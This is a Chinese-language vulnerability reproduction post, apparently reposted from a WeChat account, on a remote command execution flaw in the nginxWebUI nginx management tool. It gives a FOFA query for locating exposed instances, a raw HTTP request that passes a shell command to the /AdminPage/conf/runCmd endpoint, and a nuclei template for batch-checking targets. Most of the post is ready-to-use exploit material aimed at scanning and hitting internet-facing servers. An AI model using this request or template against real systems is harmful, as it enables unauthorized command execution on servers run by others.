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漏洞描述

nginxWebUI是一款图形化管理nginx配置的工具,nginxWebUI由于未对用户的输入进行严格过滤，导致任意命令执行漏洞。该漏洞利用条件简单，漏洞危害较高。

fofa语句

"nginxWebUI"

漏洞复现

打开页面

构造payload

GET /AdminPage/conf/runCmd?cmd=id HTTP/1.1
Host: 
Cookie: SOLONID=ab4603d571394000a48398f2383fdc26; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1705042515; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1705042611
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://192.168.18.128:8080/
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate

nuclei批量验证

id: nginxWebUI-runCmd-RCE

info:
  name: nginxWebUI runCmd前台远程命令执行漏洞
  author: changge
  severity: critical
  description: nginxWebUI是一款图形化管理nginx配置的工具,nginxWebUI由于未对用户的输入进行严格过滤，导致任意命令执行漏洞。该漏洞利用条件简单，漏洞危害较高。
  metadata:
    max-request: 1
    fofa-query: "nginxWebUI"
    verified: true
http:
  - raw:
      - |
        GET /AdminPage/conf/runCmd?cmd=id HTTP/1.1
        Host: {{Hostname}}
        Cookie: SOLONID=ab4603d571394000a48398f2383fdc26; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1705042515; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1705042611
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Referer: {{BaseURL}}
        Upgrade-Insecure-Requests: 1
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Encoding: gzip, deflate

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"uid") && status_code == 200'

github poc总汇地址：https://github.com/AYcg/poc

原文始发于微信公众号（AY长歌）：nginxWebUI runCmd前台远程命令执行漏洞